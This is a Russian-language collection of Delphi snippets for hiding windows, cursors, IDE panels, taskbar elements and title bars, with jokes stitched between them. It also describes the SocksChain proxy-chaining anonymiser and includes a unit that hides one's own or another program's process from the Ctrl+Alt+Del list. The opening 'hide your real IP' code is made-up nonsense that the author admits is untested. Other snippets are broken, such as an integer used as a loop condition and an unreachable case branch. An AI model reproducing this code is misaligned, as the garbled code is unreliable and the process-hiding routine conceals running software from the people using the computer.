Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

{ Add a button and memo }
 implementation
 {$R *.dfm}
 uses
   Urlmon;
 procedure TForm1.Button1Click(Sender : TObject);
 var
   ca : iinterface;
   rls : Integer;
   stat : iBindStatusCallBack;
   rr : Cardinal;
   tag : _tagBindInfo;
   exGuid : tguid;
   noIp : Pointer;
   res : HResult;
 begin
   // Make a 0.0.0.0 ip giud 
  exGuid.D1 := rr;
   exGuid.D2 := word('0');
   exGuid.D3 := word('.');
   // Set Tag options 
  with tag do
    begin
     // set "0." ip guid 
    iid := exGuid;
     // set needed size 
    cbSize := sizeOf('www.big-x.cjb.net');
     // Add ip hiding ( not tested, but should work ) 
    securityAttributes.lpSecurityDescriptor := noIp;
     securityAttributes.nLength := length('0.0.0.0');
     securityAttributes.bInheritHandle := True;
   end;{ 
 Extra: res := stat.GetBindInfo(rr, tag);}
   //Start downloading webpage 
  try
     urlmon.URLDownloadToFile(ca, 'www.big-x.cjb.net', 'filename.htm', 1, stat);
   except
     ShowMessage('Could not download the webpage!');
   end;
   //Load the webpage source to a memo 
  memo1.Lines.LoadFromFile('filename.htm');
 end;

Скрывать свернутые дочерние формы MDI приложения.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

// Write this code in your MDI Child Window unit. 
// Schreibe diesen Code in die Unit des MDI Child Fensters: 
type
   TfrmMyMDIForm = class(TForm)
   public
     procedure WMSize(var Msg: TWMSIZE); message WM_SIZE
   end;
 implementation
 procedure TfrmMyMDIForm.WMSize(var Msg: TWMSize);
 begin
   if Msg.SizeType = SIZE_MINIMIZED then
     ShowWindow(Handle, SW_HIDE);
 end;

Как запретить показ курсора в TEdit и ему подобных контролах.

Статьи по Delphi (009)…
Коврик для мышки выполнил недопустимую операцию и будет свернут.

Создайте своего потомка с обработчиками:

procedure WMPaint(var Msg: TMessage); message WM_Paint;
procedure WMSetFocus(var Msg: TMessage); message WM_SetFocus;
procedure WMNCHitTest(var Msg: TMessage); message WM_NCHitTest;

В которых вызывайте:

inherited;
HideCaret(Handle);

Скрыть свойства в IDE.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

unit HideAboutProps;
 // Declare a Property-Category-Class 
// Eine Eigenschaftskategorie-Klasse deklarieren 
type
   TAboutPropCategory = class(TPropertyCategory)
     // Give it a name and a description 
    // Namen und Beschreibung vergeben 
    class function Name: string; override;
     class function Description: string; override;
   end;
 procedure Register;
 implementation
 // Register this new Property Category in the Delphi-IDE 
// Diese neue Eigenschaftskategory in Delphi registrieren 
procedure Register;
 begin
   RegisterPropertyInCathegory(TAboutPropCategory, 'About');
 end;
 // Implementation of the two class functions from above 
// Den beiden Klasse-Funktionen noch eine Implementation geben 
class function TAboutPropCategory.Name: string;
 begin
   Result := 'About';
 end;
 class function TAboutPropCategory.Description: string;
 begin
   // As you want it ... 
  Result := 'Gives information about the author.';
   // Wie man's mochte ... 
  Result := 'Enthalt Informationen uber den Autor.';
 end;
 // To use this new category, you only have to include this unit in a package and recompile it. 
// If you want, you now can hide all properties called 'About' from being displayed 
// in the object inspector. 
// Um diese neue Kategorie zu nutzen, muss man die Unit nur in ein Package einbinden 
// und dieses danach neu compilieren. 
// Wenn man mochte, kann man nun alle Eigenschaften, die 'About' hei?en, verbergen. 

Скрыть окна IDE во время проектирования.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

//**************************************** 
// Paste into AutoHideIDE.dpk 
//**************************************** 
package AutoHideIDE;
 {$R *.res}
 {$ALIGN 8}
 {$ASSERTIONS ON}
 {$BOOLEVAL OFF}
 {$DEBUGINFO ON}
 {$EXTENDEDSYNTAX ON}
 {$IMPORTEDDATA ON}
 {$IOCHECKS ON}
 {$LOCALSYMBOLS ON}
 {$LONGSTRINGS ON}
 {$OPENSTRINGS ON}
 {$OPTIMIZATION ON}
 {$OVERFLOWCHECKS OFF}
 {$RANGECHECKS OFF}
 {$REFERENCEINFO ON}
 {$SAFEDIVIDE OFF}
 {$STACKFRAMES OFF}
 {$TYPEDADDRESS OFF}
 {$VARSTRINGCHECKS ON}
 {$WRITEABLECONST OFF}
 {$MINENUMSIZE 1}
 {$IMAGEBASE $400000}
 {$DESIGNONLY}
 {$IMPLICITBUILD OFF}
 requires
   rtl,
   vcl;
 contains
   AutoHide in 'AutoHide.pas';
 end.
 //**************************************** 
// Paste into AutoHide.pas 
//**************************************** 
unit AutoHide;
 interface
 uses
   Windows, Messages, SysUtils, Classes, Controls, Forms;
 type
   TAutoHider = class(TObject)
   protected
     procedure DelphiOnMessage(var Msg: TMsg; var Handled: Boolean);
     procedure MyDockDrop(Sender: TObject; Source: TDragDockObject; X, Y: Integer);
     procedure MyDestroy(Sender: TObject);
   public
     OldDockDrop: TDockDropEvent;
     OldDestroy: TNotifyEvent;
     Delphi: TApplication;
     Bar_Top: TForm;
     Bar_Left: TForm;
     ObjInspector: TForm;
     DockHost: TForm;
     Bar_Top_Rect: TRect;
     Bar_Left_Rect: TRect;
     F_AtTop: Boolean;
     F_AtLeft: Boolean;
     procedure Init_Bar_Left;
     procedure Bar_Left_Visible(val: Boolean);
     procedure Bar_Top_Visible(Value: Boolean);
   end;
 var
   AutoHider: TAutoHider;
 implementation
 { TAutoHide }
 procedure Restore_Bar_Left;
 begin
   AutoHider.ObjInspector.OnDockDrop := nil;
   if AutoHider.DockHost <> nil then
    begin
     AutoHider.DockHost.OnDestroy := nil;
   end;
   AutoHider.Bar_Left.BoundsRect := AutoHider.Bar_Left_Rect;
 end;
 procedure Restore_Bar_Top;
 begin
   AutoHider.Bar_Top.BoundsRect := AutoHider.Bar_Top_Rect;
 end;
 procedure InitAutoHider(Value: Boolean);
 begin
   if Value then
    begin
     AutoHider.Delphi  := Application;
     AutoHider.Bar_Top := TForm(Application.FindComponent('AppBuilder'));
     if AutoHider.Bar_Top <> nil then
      begin
       AutoHider.Bar_Top_Rect := AutoHider.Bar_Top.BoundsRect;
       AutoHider.ObjInspector  := AutoHider.Bar_Top.FindComponent('PropertyInspector')
         as TForm;
       AutoHider.Bar_Left_Rect := AutoHider.ObjInspector.BoundsRect;
       AutoHider.OldDockDrop := AutoHider.ObjInspector.OnDockDrop;
       AutoHider.ObjInspector.OnDockDrop := AutoHider.MyDockDrop;
       AutoHider.DockHost := nil;
       AutoHider.Init_Bar_Left;
       AutoHider.F_AtTop          := True;
       AutoHider.F_AtLeft         := True;
       AutoHider.Delphi.OnMessage := AutoHider.DelphiOnMessage;
     end;
   end
    else
    begin
     Restore_Bar_Left;
     Restore_Bar_Top;
   end;
 end;
 procedure TAutoHider.Bar_Top_Visible(Value: Boolean);
 begin
   if Value = F_AtTop then Exit;
   if Value then
    begin
     Bar_Top.Top := 0;
     Bar_Top.Show;
   end
    else
    begin
     Bar_Top.Top := -Bar_Top.Height + 3;
   end;
   F_AtTop := Value;
 end;
 procedure TAutoHider.Bar_Left_Visible(val: Boolean);
 begin
   if val = F_AtLeft then Exit;
   if val then
    begin
     Bar_Left.Left   := 0;
     Bar_Left.Top    := 0;
     Bar_Left.Height := Screen.WorkAreaHeight;
     Bar_Left.Show;
   end
    else
    begin
     Bar_Left.Left := -Bar_Left.Width + 3;
   end;
   F_AtLeft := val;
 end;
 procedure TAutoHider.DelphiOnMessage(var Msg: TMsg; var Handled: Boolean);
 begin
   if not Delphi.Active then Exit;
   if (Msg.message = WM_LBUTTONDOWN) then Exit;
   if (Msg.message = WM_MOUSEMOVE) or (Msg.message = WM_NCMOUSEMOVE) then
    begin
     if F_AtTop then
       if Mouse.CursorPos.Y > Bar_Top.Height + 50 then
        begin
         Bar_Top_Visible(False);
       end;
     if not F_AtTop then
       if Mouse.CursorPos.Y < 3 then
        begin
         Bar_Top_Visible(True);
       end;
     if F_AtLeft then
       if (Mouse.CursorPos.x > Bar_Left.Width + 50) and (not Bar_left.Active) then
        begin
         Bar_Left_Visible(False);
       end;
     if not F_AtLeft then
       if Mouse.CursorPos.X < 3 then
        begin
         Bar_Left_Visible(True);
       end;
   end;
 end;
 procedure TAutoHider.MyDestroy(Sender: TObject);
 begin
   if Sender is TApplication then
    begin
     Bar_Top_Visible(False);
     Bar_Left_Visible(False);
   end
    else
    begin
     if Assigned(OldDestroy) then OldDestroy(Sender);
     DockHost := nil;
     Bar_Left := ObjInspector;
   end;
 end;
 procedure TAutoHider.Init_Bar_Left;
 begin
   if (Delphi.FindComponent('TabDockHostForm') as TForm) <> nil then
     DockHost := Delphi.FindComponent('TabDockHostForm') as TForm
   else if (Delphi.FindComponent('JoinDockForm') as TForm) <> nil then
     DockHost := Delphi.FindComponent('JoinDockForm') as TForm;
   if DockHost <> nil then
    begin
     DockHost.Top       := 0;
     DockHost.Height    := Screen.WorkAreaHeight;
     OldDestroy         := DockHost.OnDestroy;
     DockHost.OnDestroy := MyDestroy;
     Bar_Left           := DockHost;
   end
    else
    begin
     Bar_Left := ObjInspector;
   end;
 end;
 procedure TAutoHider.MyDockDrop(Sender: TObject; Source: TDragDockObject; X,
   Y: Integer);
 begin
   if Assigned(OldDockDrop) then  OldDockDrop(Sender, Source, X, Y);
   Init_Bar_Left;
 end;
 initialization
   AutoHider := TAutoHider.Create;
   InitAutoHider(True);
 finalization
   InitAutoHider(False);
   AutoHider.Delphi.OnMessage := nil;
   AutoHider.Free;
 end.

Скрыть статус соединения с Интернетом с TrayBar.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

uses
   shellapi;
 procedure TForm1.Button1Click(Sender: TObject);
 var
   nt: TNotifyIconData;
 begin
   with nt do
   begin
     cbSize := SizeOf(nt);
     Wnd    := FindWindow('#32770', nil);
     uid    := 0;
     uFlags := NIF_ICON or NIF_MESSAGE or NIF_TIP;
     uCallbackMessage := WM_USER + 17;
     hIcon  := 0;
     szTip  := '';
   end;
   Shell_NotifyIcon(NIM_DELETE, @nt);
 end;

Скрыть истинный IP.

Оформил: DeeCo

Версия 3.0.

SocksChain - программа, позволяющая работать через цепочку SOCKS или HTTP-проксей для того чтобы скрыть истинный IP-адрес. SocksChain может работать как обычный SOCKS-сервер, транслируя запросы по цепочке проксей. SocksChain может быть использован с клиентскими программами, которые не поддерживают протокол SOCKS, но работают с одним TCP-соединением. например TELNET, HTTP, IRC... (FTP использует 2 соединения). При этом ваш IP-адрес не будет появляться в логах сервера или заголовках почтовы сообщений.

Что нового в версии 3.0 Поддержка HTTP-проксей с поддержкой HTTP-tunneling Функция тестирования проксей на работоспособность Настройка типа подключения к Internet (т.е. можно указать фиксированный прокси, который всегда будет присутствовать во всех соединениях первым) Большая база данных по проксям (несколько сотен адресов) Принцип работы

SocksChain так транслирует TCP-обращение клиентской программы, что оно последовательно проходит через цепочку проксей. Сам SocksChain соединяется только с первым элементом этой цепочки. В свою очередь тот соединяется со вторым и т.д...

При этом возможность отследить откуда инициировался запрос исходя из логов на сервере очень сложно. Для этого нужно будет последовательно анализировать логи всех промежуточных звеньев цепи в обратном порядке. Если где-то логов не ведется, то нить будет потеряна. Это теоретически дает очень высокую степень анонимности. Но в ущерб скорости передачи данных, так как она обратно пропорциональна длине цепочки.

Подсистемы программы SocksChain Менеджер проксей Что такое прокси

Прокси - это компьютер в сети, который может служить промежутчным звеном для подключения к тругим компьютерам. Они используются обычно в следующих двух целях:

Как Firewall - для защиты локальной сети организации от доступа извне Как мультиплексор IP-адресов, что позволяет подключить много компьюетеров к Internet, имея в распоряжении только один IP-адрес.

В качестве прокси часто используется программа WinGate.

Довольно много таких проксей открыты для свободного доступа.

Из всего разнообразия проксей существует 2 основных вида универсальных сервиса, т.е. позволяющих транслировать любые TCP-соединения (а не только например HTTP и FTP). Только они позволяют создавать цепочку и следовательно полезны для SocksChain:

SOCK4 и SOCKS5 сервисы. По уволчанию им назначается порт 1080. SOCKS5 - является наиболее универсальным сервисом, так как позволяет не только устанавливать TCP-соединения но и открывать порт для входящих TCP-соединений (операция BIND) и передавать/принимать UDP-датаграммы. HTTP-прокси с возможностью SSL-tunneling. Порт по умолчанию 8080. Это менее универсальный сервис, чем SOCKS5, но зато гораздо более распространенный.

Менеджер проксей занимается всей работой по поддержанию базы данных по проксям. Его можно вызвать через меню Options|Proxy Manager. В функции менеджера входит:

Хранение списка в виде XML-файла Обновление списка с сервера (кнопка Download) Тестирование на работоспособность (кнопка Test All). (по умолчанию тестируется соединение с сервером www.microsoft.com порт 80, как наиболее мощном и доступном отовсюду). Оповещение сервера о степени работоспособности используемых проксей

Таким образом список проксей ведется распределенным образом. Скрипт на сервере собирает статистику о наиболее часто используемых проксях. Это важно так как часто свободный доступ к прокси закрывают.

Формат XML-файла SocksChain.xml

В этом файле хранится таблица известных проксей. Вы можете пополнять этот файл как из программы, так и вручную в воответсвии со следующим образцом:

<SocksChain>	
	<Proxies>
		<Proxy IP="12.1.68.100" SOCKSPORT="1080" SOCKS4="" SOCKS5="" />
		<Proxy IP="12.2.81.50" HTTPPORT="8080" HTTPTUNNEL=""/>
	</Proxies>	
</SocksChain>

Присутсвие параметра IP обязательно. Присутсвие остальных параметров необязательно и означает:

SOCKSPORT - порт для использования сервисов SOCKS4/5 (по умолчанию 1080) HTTPPORT - порт для использования HTTP-tunneling (по умолчанию 8080) SOCKS4, SOCKS5, HTTPTUNNEL - параметры без указания значения. Их присутствие означает что данный IP-адрес проверен на функционирования соответствующего сервиса.

Если для одного IP-адреса проверено сразу несколько видов проксей то приоритет имеет SOCKS5, затем SOCKS и HTTP.

Сервер

Сервер занимается обслуживание запросов от Internet-клиентов. Его задачей является перенаправление TCP- и UDP-соединений по определенному маршруту из проксей. Маршрут может задаваться вручную или составляться автоматически (при этом задается его длина) из имеющегося списка проксей.

Сервер позволяет навесить несколько Сервисов на разные порты. У каждого сервиса может быть индивидуальный маршрут и сервер назначения. Сервер назначения (Target server) нужен только если клиентская программа не поддерживает непосредсвенно SOCKS-протокол.

Вот примерный список популярных программ, поддерживающих SOCKS (для них поле TargetServer заполнять не нужно):

mIRC ICQ InternetExplorer AdvancedDirectRemailer - ремейлер со встроеным SMTP сервером, поддерживающий списки рассылки, плагины и SOCKS-5 прокси WinGate

Программы, не поддерживающие SOCKS но позволяющие работать через SocksChain:

MS Outlook & OutlookExpress Telnet MS TerminalClient

К сожалению большинство FTP-клиентов не могут работать через SOCKS. А так как FTP использует не только исходящие TCP-потоки их перенаправление через SocksChain невозможно.

По умолчанию при установке создается сервис на порту 1081 (не 1080 потому, что часто порт 1080 занят каким то стандартным прокси, например WinGate). Вы можете поменять номер порта на любой свободный на вашей машине. Соответсвенно в клиентской программе вы указываете 127.0.0.1:1081 как адрес сервера. То есть надо соединить вашу клиентскую программу, SocksChain, промежуточные прокси и сервер назначения в логическую цепочку.

При обращении клиентов к сервисам, в правой панели клавного окна отображается процесс последовательного подключения к елементам цепочки.

При добавлении нового или модификации сервиса открывается окно его настроек. Основные элементы:

Name - имя сервиса, никакого функционального назначения не несет, просто должно быть уникальным. Accept on port - порт на вашей машине, не занятый никаким другим сервисом. Может назначаться произвольно. Именно это число нужно указывать в настройках клиентских программ в качестве порта сервера или прокси. Если например мы выбрали порт 1081 то в почтовом клиенте пишем SMTP-server: 127.0.0.1 порт 1081 (127.0.0.1 всегда обозначает ту же машину на которой запущен клиент) Auto-creating chain - автоматическое создание цепочки. Если выбрана эта опция надо очистить list-box "Chain". Length of chain - длина цепочки, которая должна быть создана автоматически. Рекомендуемые значения: 2-5. Большая длина - это меньшая вероятность обнаружения но и меньшая скорость. Chain list-box - список проксей через которые транслировать соединение Target Host - пара вида host:port, которая служит целью клиентов, не поддерживающих соединение через прокси. Например для телнета: somehost.com:23. Этот адрес не обязан быть прокси. ProxyList - таблица известных проксей. не все из них постоянно работают. Поэтому рекомендуется время от времени проводить их тестирование через менеджер проксей.

Если оставить список и Target пустыми и отключить авто-создание то SocksChain будет функционировать как обычный SOCKS4/5 прокси. Этот режим может помочь, если вы создаете цепочку вручную, то это можно делать шаг за шагом, настров клиента сначала работать просто через SocksChain без проксей а затем добавляя те по одному.

Общие настройки

В меню Tools|Options настраиваются следующие параметры:

Number of threads - число одновременно работающих потоков. (задает только порядок этого числа, т.е. реально потоков может быть и больше раза в 2, в зависимости от конкретно выполняемых операций). Рекомендуемые значения: от 1 до 20. Run As Service - автозапуск программы при старте Windows. Для Windows NT/2000 программа запустится в режиме сервиса. Connect to Internet through - задает первый прокси через который производятся все действия программы, в том числе тестирование проксей. Это бывает необходимо если у вас не глобально-доступный IP-адрес а внутренний Intranet-овский.

Спрятать горизонтальную или вертикальную полосу прокрутки в TListView.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

type
   TForm1 = class(TForm)
     ListView1: TListView;
     procedure FormCreate(Sender: TObject);
     procedure FormDestroy(Sender: TObject);
   private
     FListViewWndProc: TWndMethod;
     procedure ListViewWndProc(var Msg: TMessage);
   public
    { Private declarations }
     FShowHoriz: Boolean;
     FShowVert: Boolean;
   end;
    var
   Form1: TForm1;
 implementation
 {$R *.dfm}
 procedure TForm1.ListViewWndProc(var Msg: TMessage);
 begin
   ShowScrollBar(ListView1.Handle, SB_HORZ, FShowHoriz);
   ShowScrollBar(ListView1.Handle, SB_VERT, FShowVert);
   FListViewWndProc(Msg); // process message 
end;
 procedure TForm1.FormCreate(Sender: TObject);
 begin
   FShowHoriz := True; // show the horiz scrollbar 
  FShowVert := False; // hide vert scrollbar 
  FListViewWndProc := ListView1.WindowProc; // save old window proc 
  ListView1.WindowProc := ListViewWndProc; // subclass 
end;
 procedure TForm1.FormDestroy(Sender: TObject);
 begin
   ListView1.WindowProc := FListViewWndProc; // restore window proc 
  FListViewWndProc := nil;
 end;

Как спрятать окна MDI Child.

procedure TCustomForm.VisibleChanging;
begin
  if (FormStyle = fsMDIChild) and Visible then
    raise EInvalidOperation.Create(SMDIChildNotVisible);
end;

Как отключить курсор мыши.

Статьи по Delphi (009)…
Приходит программер домой, к нему подбегает кошка и начинает усиленно ластиться, лизать руку, мурчать и т.д.Жена, увидев это, спрашивает: - Что это вдруг случилось с кошкой? Чего она руку-то лижет? - Как чего? Мышкой пахнет...
//Выключение курсора
procedure TForm1.Button1Click(Sender: TObject);
var
  CState: Integer;
begin
  CState := ShowCursor(True);
  while Cstate >= 0 do
    Cstate := ShowCursor(False);
end;
//Включение курсора
procedure TForm1.Button2Click(Sender: TObject);
var
  Cstate: Integer;
begin
  Cstate := ShowCursor(True);
  while CState do
    CState := ShowCursor(True);
end;

Скрытие или отображение процесса из списка процессов.

Автор: VID WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> СКРЫТИЕ или отображение процесса из списка ctrl+alt+del
СКРЫТИЕ или отображение процесса в списке ctrl+alt+del
ПРАВИЛА ИСПОЛЬЗОВАНИЯ:
ДЛЯ скрытия собственного приложения из списка процессов, отображаемых
при нажатии CTRL+ALT+DEL, вызывайте функцию ShowHideInCad со следующими
параметрами:
ShowHideInCad (TakeMyApplicationProcessID, False) - и название Вашего
приложения будет скрыто из списка CTRL+ALT+DEL
ДЛЯ скрытия процесса чужого приложения, вызывайте функцию с такими
параметрами:
ShowHideInCAD (TakeProcessID('Заголовок окна скрываемого приложения'), FALSE)
Зависимости: windows
Автор:       VID, vidsnap@mail.ru, ICQ:132234868, Махачкала
Copyright:   VID
Дата:        23 мая 2002 г.
***************************************************** }
unit cad;
interface
uses windows;
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;
stdcall; external 'KERNEL32.DLL';
function ShowHideInCad(ProcessID: Integer; Show: Boolean): boolean;
function TakeProcessID(WindowTitle: string): Integer;
function TakeMyApplicationProcessID: Integer;
implementation
//Получение дескриптора процесса любого окна, по заголовку этого окна
function TakeProcessID(WindowTitle: string): Integer;
var
  WH: THandle;
begin
  result := 0;
  WH := FindWindow(nil, pchar(WindowTitle));
  if WH <> 0 then
    GetWindowThreadProcessID(WH, @Result);
end;
//Получение дескриптора процесса собственного приложения
function TakeMyApplicationProcessID: Integer;
begin
  Result := GetCurrentProcessID;
end;
//Отображение/Скрытие процесса в CTRL+ALT+DEL
function ShowHideInCAD(ProcessID: Integer; Show: Boolean): Boolean;
begin
  result := true;
  try
    //если show = true , то отображаем процесс в CAD, иначе - прячем
    if Show = True then
      RegisterServiceProcess(ProcessID, 0)
    else
      RegisterServiceProcess(ProcessID, 1);
  except result := false;
  end;
end;
end.

Скрыть кнопку программы на панели задач.

Статьи по Delphi (009)…

Все запущенные .exe-файлы обозначаются значком на панели задач. А как же сделать, чтобы он стал невидим?

Нужно просто воспользоваться функцией ShowWindow.

ShowWindow(Application.Handle, sw_Hide);

Для восстановления видимости значка:

ShowWindow(Application.Handle, sw_Show); 

Как скрыть свойства объекта.

В иерархии VCL в большинстве случаев существует уровень объектов-"предшественников" (TCustomXXXX), в которых многие свойства скрыты. Для унаследованных от таких "предшественников" объектов можно "открывать" на выбор те или иные свойства. А как можно сокрыть свойства, которые объявлены в published-области от Object Insресtоr'а, но при этом оставить возможность доступа во время работы программы? Решение состоит в объявлении свойства "по новой" в public-области. В примере скрытым будет у объекта TMyControl свойство Height.

TMyControl = class(TWinControl)
protected
  procedure SetHeight(Value: Integer);
  function GetHeight: Integer;
public
  property Height: Integer read GetHeight 
write SetHeight;
end;
procedure TMyControl.SetHeight(Value: 
Integer);
begin
  inherited Height := Value;
end;
function TMyControl.GetHeight;
begin
  Result := inherited Height;
end;

Как убрать публичное свойство компонента.

Автор: Nomadic.

Из TForm property не убирал, но из TWinControl было дело. А дело было так:

interface
type
  TMyComp = class(TWinControl)
    ...
  end;
procedure Register;
implementation
procedure Register;
begin
  RegisterComponents('MyPage', [TMyComp]);
  RegisterPropertyEditor(TypeInfo(string), TMyComp, 'Hint', nil);
end;
{ и т.д. }

Теперь property 'Hint' в Object Inspector не видно. Рад, если чем-то помог. Если будут глюки, умоляю сообщить. Такой подход у меня сплошь и рядом.

Скрыть панель задач.

ShowWindow(FindWindow('Shell_TrayWnd', nil), sw_hide);

Как спрятать заголовок формы.

Программист и инженер оказались друг возле друга во время долгого полета из Москвы в Нью-Йорк. Программист обращается к инженеру и спрашивает, не желает ли тот скоротать время игрой в одну занятную игру. Инженеру очень хотелось спать и он, вежливо отказавшись, прильнул к окну, чтобы хоть немного вздремнуть. Программист же, продолжая настаивать, обьясняет, что игра, мол, очень занятная и простая. - Я задаю вам вопрос и если вы не знаете ответа, вы платите мне пять баксов. А потом вы задаете мне вопрос. Если я не знаю ответа, то плачу соответсвенно пять баксов вам. Но инженер снова вежливо отказывается и пытается уснуть. Ну, программист уже самозавелся и говорит: - Ну ладно, если вы не знаете ответа, то платите мне $5, а если я не знаю, то плачу вам $50!! Это в конце концов заинтересовало инженера, тем более,что он видит, что от программиста отделаться не так легко. Он соглашается. Програмист спрашивает: - Каково расстояние между Луной и Солнцем? Инженер не говоря ни слова лезет в карман, достает бумажник, вытаскивет $5 и протягивает их программисту. Очередь инженера: - Что идет вверх на трех ногах, а спускается на четырех? - спрашивает он программиста и отворачивается к окну. Программист ошалело на него посмотрел и достает свой Лаптоп. Прошелся по всем своим поисковым системам. Ничего. Тогда подключается к бортовому телефону, рыщет по Интернету, прочесал всю библиотеку Конгресса. Ничего. Посылает е-мейлы всем своим сотрудникам с запросом. Ничего. Через час он будит инженера и дает ему $50. Инженер аккуратненько свернул деньги, положил их в кармашек и повернулся к окну спать. Охр@невший программист трясет инженера за плечо и спрашивает: - Так какой же все-таки ответ?! Не говоря ни слова, инженер достает свой кошелек, дает программисту $5 и поворачивается к окну, чтобы докимарить до Нью-Йорка...

Во-первых, перепишите у формы метод "CreateParams", объявив его в protected или public секции:

procedure CreateParams(var Params: TCreateParams); override;

Затем создайте сам код метода CreateParams(), выглядящий так:

procedure TForm1.Createparams(var Params: TCreateParams);
begin
  inherited CreateParams(Params);
  with Params do
    Style := (Style or WS_POPUP) and (not WS_DLGFRAME);
end;

Надо надеяться, что вы обеспечите некоторый UI-механизм для перемещения и закрытия окна.

Спрятать Titlebar.

procedure TForm1.HideTitlebar; 
var 
  Style: Longint; 
begin 
  if BorderStyle = bsNone then Exit; 
  Style := GetWindowLong(Handle, GWL_STYLE); 
  if (Style and WS_CAPTION) = WS_CAPTION then 
  begin 
    case BorderStyle of 
      bsSingle, 
      bsSizeable: SetWindowLong(Handle, GWL_STYLE, Style and 
          (not (WS_CAPTION)) or WS_BORDER); 
      bsDialog: SetWindowLong(Handle, GWL_STYLE, Style and 
          (not (WS_CAPTION)) or DS_MODALFRAME or WS_DLGFRAME); 
    end; 
    Height := Height - GetSystemMetrics(SM_CYCAPTION); 
    Refresh; 
  end; 
end; 
procedure TForm1.ShowTitlebar; 
var 
  Style: Longint; 
begin 
  if BorderStyle = bsNone then Exit; 
  Style := GetWindowLong(Handle, GWL_STYLE); 
  if (Style and WS_CAPTION) <> WS_CAPTION then 
  begin 
    case BorderStyle of 
      bsSingle, 
      bsSizeable: SetWindowLong(Handle, GWL_STYLE, Style or WS_CAPTION or 
          WS_BORDER); 
      bsDialog: SetWindowLong(Handle, GWL_STYLE, 
          Style or WS_CAPTION or DS_MODALFRAME or WS_DLGFRAME); 
    end; 
    Height := Height + GetSystemMetrics(SM_CYCAPTION); 
    Refresh; 
  end; 
end; 
procedure TForm1.Button1Click(Sender: TObject); 
begin 
  HideTitlebar; 
end; 
procedure TForm1.Button2Click(Sender: TObject); 
begin 
  ShowTitlebar; 
end;

Как спрятать кнопки в заголовке окна.

Автор: Andrey

procedure TForm1.FormCreate(Sender: TObject);
var
  Style: Longint;
begin
  Style := GetWindowLong(Handle, GWL_STYLE);
  SetWindowLong(Handle, GWL_STYLE, Style and not WS_SYSMENU);
end;

Спрятать часы в Tray.

function ShowTrayClock(bValue: Boolean) : Boolean; 
var 
  TrayWnd, TrayNWnd, ClockWnd: HWND; 
begin 
  TrayWnd  := FindWindow('Shell_TrayWnd', nil); 
  TrayNWnd := FindWindowEx(TrayWnd, 0, 'TrayNotifyWnd', nil); 
  ClockWnd := FindWindowEx(TrayNWnd, 0, 'TrayClockWClass', nil); 
  Result := IsWindow(ClockWnd); 
  if Result then 
  begin 
    ShowWindow(ClockWnd, Ord(bValue)); 
    PostMessage(ClockWnd, WM_PAINT, 0, 0); 
  end; 
end; 
// Example to hide they clock: 
procedure TForm1.Button1Click(Sender: TObject); 
begin 
   ShowTrayClock(Boolean(0)); 
end;  

Скрыть Tray, часы, кнопку ПУСК, панель задач.

program proga2;
uses
  Windows;
var
  Wnd: THandle; { объявляем переменные }
  int: integer;
begin
  Randomize; { холостой прогон генератора случайных чисел }
  int := Random(3); { выбор одного варианта из четырёх }
  case int of
    0: { если первый вариант то }
    begin
      Wnd := FindWindow('Progman', nil);
      Wnd := FindWindowEx(Wnd, HWND(0), 'ShellDll_DefView', nil);
      { прячем трей }
      ShowWindow(Wnd, sw_hide);
    end;
    1: { если второй вариант то }
    begin
      Wnd := FindWindow('Shell_TrayWnd', nil);
      Wnd := FindWindowEx(Wnd, HWND(0), 'TrayNotifyWnd', nil);
      Wnd := FindWindowEx(Wnd, HWND(0), 'TrayClockWClass', nil);
      { прячем часы }
      ShowWindow(Wnd, sw_hide);
    end;
    2:
    begin
      Wnd := FindWindow('Shell_TrayWnd', nil);
      Wnd := FindWindowEx(Wnd, HWND(0), 'Button', nil);
      {прячем кнопку "Пуск"}
      ShowWindow(Wnd, sw_hide);
  end;
  3:
  begin
    Wnd := FindWindow('Shell_TrayWnd', nil);
    Wnd := FindWindowEx(Wnd, HWND(0), 'TrayNotifyWnd', nil);
    { прячем "Панель задач" }
    ShowWindow(Wnd, sw_hide);
  end;
end;
end.

Подсветить элемент списка по движению мышки.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

procedure TForm1.ListBox1MouseMove(Sender: TObject; Shift: TShiftState; X,
   Y: Integer);
 var
   p: TPoint;
 begin
   p.x := x;
   p.y := y;
   ListBox1.ItemIndex := ListBox1.ItemAtPos(P, True);
 end;

Подсветка синтаксиса.

Статьи по Delphi (009)…

unit Unit1;
interface
uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics,
  Controls, Forms, Dialogs, StdCtrls, ComCtrls;
type
  TForm1 = class(TForm)
    RichEdit1: TRichEdit;
    Button1: TButton;
    OpenDialog1: TOpenDialog;
    Button2: TButton;
    procedure RichEdit1KeyUp(Sender: TObject; var Key: Word;
      Shift: TShiftState);
    procedure HighLight;
    function CheckList(InString: string): boolean;
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;
var
  Form1: TForm1;
implementation
{$R *.dfm}
function TForm1.CheckList(InString: string): boolean;
const TheList: array[1..13] of string = ('begin', 'or', 'end','end.',
'end;', 'then', 'var', 'for', 'do', 'if', 'to', 'string', 'while');
var X: integer;
begin
  Result := false;
  X := 1;
  InString := StringReplace(InString, ' ', '',[rfReplaceAll]);
  InString := StringReplace(InString, #$A, '',[rfReplaceAll]);
  InString := StringReplace(InString, #$D, '',[rfReplaceAll]);
  while X < High(TheList) + 1 do
  if TheList[X] = lowercase(InString) then
  begin
    Result := true;
    X := High(TheList) + 1;
  end
  else inc(X);
end;
procedure TForm1.RichEdit1KeyUp(Sender: TObject; var Key: Word;
  Shift: TShiftState);
var WEnd, WStart, BCount: integer;
  Mark: string;
begin
  if (ssCtrl in Shift) and (Key = ord('V')) then Button2Click(Self);
  if (Key = VK_Return) or (Key = VK_Back) or (Key = VK_Space) then
  begin
    if RichEdit1.SelStart > 1 then
    begin
      WStart := 0;
      WEnd := RichEdit1.SelStart;
      BCount := WEnd - 1;
      while BCount <> 0 do
      begin
        Mark := copy(RichEdit1.Text, BCount, 1);
        if (Mark = ' ') or (Mark = #$A) then
        begin
          WStart := BCount;
          BCount := 1;
        end;
